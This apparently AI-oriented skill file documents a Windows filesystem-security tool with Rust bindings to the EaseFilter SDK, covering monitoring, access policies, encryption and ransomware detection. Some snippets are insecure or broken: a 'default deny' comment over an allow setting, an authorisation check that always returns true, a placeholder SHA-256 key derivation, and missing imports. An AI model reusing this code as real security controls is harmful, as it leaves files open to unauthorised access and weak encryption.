Imported from reason-machines/security-skills (skills/experimentersoftroll422-windows-filesystem-security/SKILL.md). Install upstream with npx skills add reason-machines/security-skills --skill experimentersoftroll422-windows-filesystem-security. Copyright stays with the author.

experimentersoftroll422-windows-filesystem-security

Skill by ara.so — Security Skills collection.

What This Project Does

Experimentersoftroll422 is a Windows-focused filesystem security project that provides:

• File Activity Monitoring: Observe filesystem events in real-time
• Access Control Enforcement: Policy-based file access management
• Encryption Workflow Support: Integration points for filesystem encryption
• Rust Bindings: Native Rust interface to the EaseFilter File Security SDK
• Windows-Native: Leverages Windows kernel-mode drivers for low-level filesystem operations

The project serves as a foundation for building custom filesystem security solutions on Windows, with particular emphasis on monitoring, access control, and encryption capabilities through a Rust-based interface.

Installation

Prerequisites

• Windows 10 or later (64-bit recommended)
• Rust toolchain (1.70+): rustup installed and configured
• Administrator privileges for driver installation and filesystem monitoring
• EaseFilter File Security SDK (licensed separately)
• Visual Studio Build Tools (for native dependencies)

Clone and Setup

# Clone the repository
git clone https://github.com/tomw286/experimentersoftroll422-security-loader.git
cd experimentersoftroll422-security-loader

# Install Rust dependencies
cargo build --release

# Verify SDK connectivity
cargo test --lib

SDK Integration

The EaseFilter SDK must be properly installed and licensed. Set environment variables:

# Windows PowerShell
$env:EASEFILTER_SDK_PATH = "C:\Program Files\EaseFilter\SDK"
$env:EASEFILTER_LICENSE_KEY = $env:YOUR_LICENSE_KEY

Core Configuration

Basic Configuration File

Create or modify the configuration file (typically config.toml):

[filesystem]
# Enable file activity monitoring
monitor_files = true

# Enable access control enforcement
control_access = true

# Enable encryption support
encryption = true

# Paths to monitor (supports wildcards)
watch_paths = [
    "C:\\Users\\*\\Documents\\**",
    "C:\\Projects\\sensitive\\**"
]

# Excluded paths (performance optimization)
exclude_paths = [
    "C:\\Windows\\**",
    "C:\\Program Files\\**"
]

[integration]
# Runtime environment
runtime = "rust"

# SDK backend
sdk = "EaseFilter File Security SDK"

# Driver mode (kernel or user)
driver_mode = "kernel"

[logging]
level = "info"
output = "logs/security.log"
max_size_mb = 100

[policies]
# Default deny behavior
default_action = "allow"

# Audit all access attempts
audit_enabled = true

Rust API Usage

Initialize the Security System

use experimentersoftroll422::{SecurityLoader, Config, MonitoringMode};
use std::path::PathBuf;

fn main() -> Result<(), Box<dyn std::error::Error>> {
    // Load configuration
    let config = Config::from_file("config.toml")?;
    
    // Initialize the security loader
    let mut loader = SecurityLoader::new(config)?;
    
    // Start monitoring
    loader.start_monitoring(MonitoringMode::Realtime)?;
    
    println!("Filesystem security monitoring active");
    
    // Keep running
    loader.run_until_stopped()?;
    
    Ok(())
}

File Activity Monitoring

use experimentersoftroll422::{SecurityLoader, FileEvent, EventType};

fn setup_monitoring() -> Result<(), Box<dyn std::error::Error>> {
    let mut loader = SecurityLoader::default()?;
    
    // Register event callback
    loader.on_file_event(|event: FileEvent| {
        match event.event_type {
            EventType::Read => {
                println!("File read: {} by process {}", 
                    event.path.display(), 
                    event.process_id);
            },
            EventType::Write => {
                println!("File write: {} by process {}", 
                    event.path.display(), 
                    event.process_id);
            },
            EventType::Delete => {
                println!("File delete attempted: {}", event.path.display());
            },
            EventType::Rename => {
                println!("File rename: {} -> {}", 
                    event.path.display(), 
                    event.new_path.as_ref().unwrap().display());
            },
            _ => {}
        }
    });
    
    loader.start_monitoring(MonitoringMode::Realtime)?;
    Ok(())
}

Access Control Policies

use experimentersoftroll422::{SecurityLoader, AccessPolicy, AccessDecision, FileAccessRequest};
use std::path::Path;

fn configure_access_policies() -> Result<(), Box<dyn std::error::Error>> {
    let mut loader = SecurityLoader::default()?;
    
    // Define a policy rule
    let sensitive_docs_policy = AccessPolicy::new()
        .path_pattern("C:\\Users\\*\\Documents\\confidential\\**")
        .allowed_processes(vec!["notepad.exe", "WINWORD.EXE"])
        .denied_operations(vec!["DELETE", "RENAME"])
        .audit(true);
    
    loader.add_policy(sensitive_docs_policy)?;
    
    // Custom access decision handler
    loader.on_access_request(|request: FileAccessRequest| -> AccessDecision {
        // Check if process is authorized
        if request.process_name.ends_with("malware.exe") {
            return AccessDecision::Deny {
                reason: "Blocked suspicious process".to_string(),
                audit: true
            };
        }
        
        // Check file sensitivity
        if request.path.to_string_lossy().contains("secret") {
            if !is_authorized_user(&request.user_sid) {
                return AccessDecision::Deny {
                    reason: "User not authorized for sensitive files".to_string(),
                    audit: true
                };
            }
        }
        
        AccessDecision::Allow
    });
    
    loader.start_monitoring(MonitoringMode::Enforcing)?;
    Ok(())
}

fn is_authorized_user(sid: &str) -> bool {
    // Check against authorized user list
    // This would integrate with Windows security APIs
    true
}

Encryption Workflow Integration

use experimentersoftroll422::{SecurityLoader, EncryptionMode, FileEncryptionRequest};
use std::path::PathBuf;

fn setup_encryption() -> Result<(), Box<dyn std::error::Error>> {
    let mut loader = SecurityLoader::default()?;
    
    // Configure encryption behavior
    loader.set_encryption_mode(EncryptionMode::TransparentOnWrite)?;
    
    // Register encryption key provider
    loader.set_key_provider(|request: FileEncryptionRequest| -> Result<Vec<u8>, String> {
        // Retrieve key from secure key store
        let key = std::env::var("ENCRYPTION_KEY")
            .map_err(|_| "Encryption key not found".to_string())?;
        
        // Derive file-specific key
        let file_key = derive_file_key(&key, &request.path)?;
        Ok(file_key)
    });
    
    // Set encryption targets
    loader.add_encryption_path("C:\\Users\\*\\Documents\\encrypted\\**")?;
    
    // Handle encryption events
    loader.on_encryption_event(|path: PathBuf, success: bool| {
        if success {
            println!("File encrypted successfully: {}", path.display());
        } else {
            eprintln!("Encryption failed for: {}", path.display());
        }
    });
    
    loader.start_monitoring(MonitoringMode::EncryptionEnabled)?;
    Ok(())
}

fn derive_file_key(master_key: &str, path: &PathBuf) -> Result<Vec<u8>, String> {
    // Implement key derivation (e.g., HKDF)
    // This is a placeholder - use proper cryptographic libraries
    use sha2::{Sha256, Digest};
    
    let mut hasher = Sha256::new();
    hasher.update(master_key.as_bytes());
    hasher.update(path.to_string_lossy().as_bytes());
    
    Ok(hasher.finalize().to_vec())
}

Common Patterns

Pattern: Real-time Security Audit Log

use experimentersoftroll422::{SecurityLoader, AuditLogger};
use chrono::Utc;

fn setup_audit_logging() -> Result<(), Box<dyn std::error::Error>> {
    let mut loader = SecurityLoader::default()?;
    let logger = AuditLogger::new("logs/audit.json")?;
    
    loader.on_file_event(move |event| {
        logger.log_entry(serde_json::json!({
            "timestamp": Utc::now().to_rfc3339(),
            "event_type": format!("{:?}", event.event_type),
            "path": event.path.to_string_lossy(),
            "process": event.process_name,
            "pid": event.process_id,
            "user": event.user_name,
            "action": event.operation
        }));
    });
    
    loader.start_monitoring(MonitoringMode::AuditOnly)?;
    Ok(())
}

Pattern: Ransomware Protection

use experimentersoftroll422::{SecurityLoader, BehaviorAnalyzer};
use std::time::Duration;

fn enable_ransomware_protection() -> Result<(), Box<dyn std::error::Error>> {
    let mut loader = SecurityLoader::default()?;
    let mut analyzer = BehaviorAnalyzer::new();
    
    loader.on_file_event(move |event| {
        // Track rapid file modifications
        analyzer.track_event(&event);
        
        if analyzer.is_suspicious_pattern() {
            // Block process exhibiting ransomware-like behavior
            println!("ALERT: Suspicious file activity detected from PID {}", 
                event.process_id);
            
            // Terminate suspicious process
            loader.block_process(event.process_id);
            
            // Notify administrator
            send_security_alert(&event);
        }
    });
    
    loader.start_monitoring(MonitoringMode::Protection)?;
    Ok(())
}

fn send_security_alert(event: &FileEvent) {
    // Integration with alerting system
    eprintln!("SECURITY ALERT: Potential ransomware activity detected");
}

Pattern: Compliance Monitoring

use experimentersoftroll422::{SecurityLoader, ComplianceRule};

fn enforce_compliance_rules() -> Result<(), Box<dyn std::error::Error>> {
    let mut loader = SecurityLoader::default()?;
    
    // GDPR: Track access to personal data
    let gdpr_rule = ComplianceRule::new("GDPR")
        .path_contains("personal_data")
        .require_audit(true)
        .require_encryption(true)
        .access_retention_days(90);
    
    loader.add_compliance_rule(gdpr_rule)?;
    
    // HIPAA: Healthcare data protection
    let hipaa_rule = ComplianceRule::new("HIPAA")
        .path_contains("medical_records")
        .require_encryption(true)
        .allowed_access_hours(8, 18)
        .require_two_factor(true);
    
    loader.add_compliance_rule(hipaa_rule)?;
    
    loader.start_monitoring(MonitoringMode::ComplianceEnforcing)?;
    Ok(())
}

Troubleshooting

Issue: Driver Not Loading

Symptoms: SecurityLoader initialization fails with driver error

Solution:

// Check driver status
use experimentersoftroll422::diagnostics;

fn check_driver_status() -> Result<(), Box<dyn std::error::Error>> {
    let status = diagnostics::get_driver_status()?;
    
    if !status.is_loaded {
        println!("Driver not loaded. Installing...");
        diagnostics::install_driver()?;
        println!("Please restart the application");
    }
    
    if !status.is_running {
        println!("Driver loaded but not running");
        diagnostics::start_driver()?;
    }
    
    Ok(())
}

Run as Administrator and ensure Windows Driver Signature Enforcement is configured correctly for development.

Issue: High CPU Usage During Monitoring

Symptoms: Application consumes excessive CPU

Solution: Optimize monitoring filters

use experimentersoftroll422::{SecurityLoader, FilterOptimization};

fn optimize_monitoring() -> Result<(), Box<dyn std::error::Error>> {
    let mut loader = SecurityLoader::default()?;
    
    // Apply performance optimizations
    loader.set_optimization(FilterOptimization {
        // Only monitor specific extensions
        file_extensions: vec!["docx", "xlsx", "pdf", "txt"],
        
        // Exclude high-traffic directories
        exclude_system_paths: true,
        
        // Batch events (reduce callback frequency)
        event_batching: true,
        batch_interval_ms: 100,
        
        // Filter by operation type
        monitored_operations: vec!["CREATE", "WRITE", "DELETE"],
    })?;
    
    loader.start_monitoring(MonitoringMode::Optimized)?;
    Ok(())
}

Issue: Access Denied Errors

Symptoms: Cannot monitor certain paths or processes

Solution: Verify permissions and elevation

# Run as Administrator
# Check current privileges
whoami /priv

# Enable SeDebugPrivilege for process monitoring
# This must be done programmatically in Rust

use experimentersoftroll422::privileges;

fn ensure_privileges() -> Result<(), Box<dyn std::error::Error>> {
    // Request necessary Windows privileges
    privileges::enable_debug_privilege()?;
    privileges::enable_backup_privilege()?;
    privileges::enable_restore_privilege()?;
    
    println!("Required privileges enabled");
    Ok(())
}

Issue: Events Not Firing

Symptoms: No file events captured

Solution: Verify configuration and SDK connection

use experimentersoftroll422::diagnostics;

fn diagnose_monitoring() -> Result<(), Box<dyn std::error::Error>> {
    let loader = SecurityLoader::default()?;
    
    // Run diagnostics
    let diag = diagnostics::run_full_diagnostics()?;
    
    println!("SDK Connected: {}", diag.sdk_connected);
    println!("Driver Running: {}", diag.driver_running);
    println!("Active Filters: {}", diag.active_filter_count);
    println!("Monitored Paths: {}", diag.monitored_paths.len());
    
    if !diag.sdk_connected {
        println!("Check EASEFILTER_SDK_PATH environment variable");
    }
    
    if diag.active_filter_count == 0 {
        println!("No filters active - check configuration");
    }
    
    Ok(())
}

Issue: Encryption Key Errors

Symptoms: Encryption operations fail with key errors

Solution: Validate key provider and storage

use experimentersoftroll422::{SecurityLoader, KeyValidator};

fn validate_encryption_setup() -> Result<(), Box<dyn std::error::Error>> {
    // Test key provider
    let key = std::env::var("ENCRYPTION_KEY")
        .expect("ENCRYPTION_KEY environment variable not set");
    
    if key.len() < 32 {
        eprintln!("WARNING: Encryption key should be at least 32 bytes");
    }
    
    // Validate key derivation
    let test_path = PathBuf::from("C:\\test\\file.txt");
    let derived_key = derive_file_key(&key, &test_path)?;
    
    assert_eq!(derived_key.len(), 32, "Derived key must be 32 bytes");
    
    println!("Encryption configuration validated");
    Ok(())
}

Environment Variables

Required environment variables for operation:

• EASEFILTER_SDK_PATH: Path to EaseFilter SDK installation
• EASEFILTER_LICENSE_KEY: Your EaseFilter license key
• ENCRYPTION_KEY: Master encryption key (optional, for encryption features)
• LOG_LEVEL: Logging verbosity (debug, info, warn, error)

Set in PowerShell:

$env:EASEFILTER_SDK_PATH = "C:\Program Files\EaseFilter\SDK"
$env:EASEFILTER_LICENSE_KEY = $env:YOUR_LICENSE_KEY
$env:ENCRYPTION_KEY = $env:YOUR_ENCRYPTION_KEY
$env:LOG_LEVEL = "info"

Best Practices

1. Always run with Administrator privileges for kernel-mode driver access
2. Test policies in audit mode before enabling enforcement
3. Use path exclusions to avoid monitoring system directories
4. Implement proper key management for encryption features
5. Monitor performance metrics and adjust filters accordingly
6. Enable comprehensive logging for security audits
7. Test driver installation in development environments before production
8. Keep EaseFilter SDK updated for security patches